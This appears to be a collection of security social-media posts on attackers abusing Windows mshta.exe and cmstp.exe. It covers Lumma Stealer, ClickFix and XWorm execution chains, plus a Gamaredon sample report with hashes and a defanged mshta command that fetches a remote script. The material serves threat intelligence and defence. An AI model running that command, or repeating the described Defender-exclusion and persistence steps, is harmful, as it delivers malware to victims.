Legacy Windows Tool MSHTA Fuels Surge in Silent Malware Attacks

MSHTA (Microsoft HTML Application) has been a part of Windows since 1999 and the release of Win98 SE and Internet Explorer 5.0. It has remained part of Windows throughout to due to prioritizing backward compatibility.

Over the years, it has been increasingly used by bad actors to silently deliver a growing range of malware

#microsoft #MSHTA #malware #security #cybersecurity #hackers #hacking

https://www.securityweek.com/legacy-windows-tool-mshta-fuels-surge-in-silent-malware-attacks/

Microsoft Utility MSHTA Fuels Malware Surge via Lumma Stealer Campaigns

Malware campaigns are on the rise, fueled by the Microsoft Utility MSHTA, which is being exploited to spread info stealers like Lumma Stealer and Amatera. This sneaky tactic is just the latest example of how cybercriminals are abusing a long-standing Windows feature to wreak havoc.

https://osintsights.com/microsoft-utility-mshta-fuels-malware-surge-via-lumma-stealer-campaigns?utm_source=mastodon&utm_medium=social

#LummaStealer #Mshta #MalwareLoader #InfoStealer #Amatera

ClickFix: How to Infect Your PC in Three Easy Steps

https://krebsonsecurity.com/2025/03/clickfix-how-to-infect-your-pc-in-three-easy-steps/

#U.S.DepartmentofHealthandHumanServices #MicrosoftWindows #MicrosoftOffice #GoogleChrome #booking.com #ArcticWolf #proofpoint #mshta.exe #ClickFix #Facebook #Other

🚨 #XWorm leverages LOLBAS techniques to abuse #CMSTPLUA

CMSTPLUA is a legitimate Windows tool that can be exploited for system binary proxy execution using #LOLBAS techniques, bypassing security controls like #UAC, and executing #malicious code, putting organizations at risk.

⚙️ With Script Tracer in #ANYRUN Sandbox, a SOC team can analyze scripts more efficiently. It simplifies script breakdowns, making it easier to understand their behavior and get key insights.
The #script embedded in the INF file is used to coordinate an execution chain:
1️⃣ EXE starts cmstp.exe which is used to launch a #malicious script from an #INF file.

2️⃣ CMSTPLUA ➡️ mshta.exe ➡️ cmd.exe ➡️ EXE ➡️ PowerShell
– #MSHTA loads a #VBScript from memory to run an executable and shuts down the #CMSTP process.
– EXE launches #PowerShell to add itself to #MicrosoftDefender exceptions.

3️⃣ Finally, it runs the XWorm #payload from the #System32 directory and adds itself to the Scheduled Task for persistence.

👨‍💻 Check out the analysis and see Script Tracer in action:
https://app.any.run/tasks/9352d612-8eaa-4fac-8980-9bee27b96bce/?utm_source=mastodon&utm_medium=post&utm_campaign=cmstplua&utm_term=130225&utm_content=linktoservice

Living-off-the-Land techniques have been leveraged for years to execute malicious operations using legitimate system utilities.
Use these TI Lookup search queries to find similar samples and improve the efficiency of your organization's security response:
🔍 https://intelligence.any.run/analysis/lookup?utm_source=mastodon&utm_medium=post&utm_campaign=cmstplua&utm_content=linktoti&utm_term=130225#%7B%2522query%2522:%2522commandLine:%255C%2522%255C%255C.inf%255C%2522%2520AND%2520imagePath:%255C%2522cmstp%255C%255C.exe$%255C%2522%2522,%2522dateRange%2522:180%7D
🔍 https://intelligence.any.run/analysis/lookup?utm_source=mastodon&utm_medium=post&utm_campaign=cmstplua&utm_content=linktoti&utm_term=130225#%7B%2522query%2522:%2522commandLine:%255C%2522mshta%2520vbscript:%255C%2522%2522,%2522dateRange%2522:180%7D

Analyze latest #malware and #phishing threats with #ANYRUN 🚀

#cybersecurity #infosec

網路捷徑檔案安全機制繞過漏洞遭到利用超過一年，攻擊者用於散布數種竊資軟體 | iThome

A very fresh #Gamaredon TA sample from today (Jan 23, 2022) targeting the Directorate General For Rendering Services To Diplomatic Missions of #Ukraine:

Original email: afb612d08112c036628a29ed8d4bd4550ca7cfed2582e2f432f2283a9b507f15

Attachment:
d124919de870b5974639ba24dd80709ed890119bdec4ba6a6179464fca4ef952 *Запит.tar

Extracted malicious LNK:
600ef7861ad03b434d98312a4133dc33fa1944f43c2e558044dfcdb342803147 *Відповідно_до_статті_20_Закону,_просимо_надати_відповідь_протягом_5_робочих_днів_з_дня_отримання_запиту.lnk
dropping a next stage #vbscript via #mshta

%windir%\system32\mshta[.]exe http://194.180.174[.]203/23.01/mo/baseball[.]DjVu

284bd873c840415ee24738f0a866b558d51f5f58b6bf29fb2818ffb819f9bd04 *baseball.DjVu

Once deobfuscated it leads to a #Telegram channel providing with the next state IP:
b7422446c22baee16c6c9c00a82610f739b836648ffce070bbd6c932db5416f5 *baseball.DjVu.deobfuscated

We have a full paper of this Telegram multi-staging technique published last week here: https://blogs.blackberry.com/en/2023/01/gamaredon-abuses-telegram-to-target-ukrainian-organizations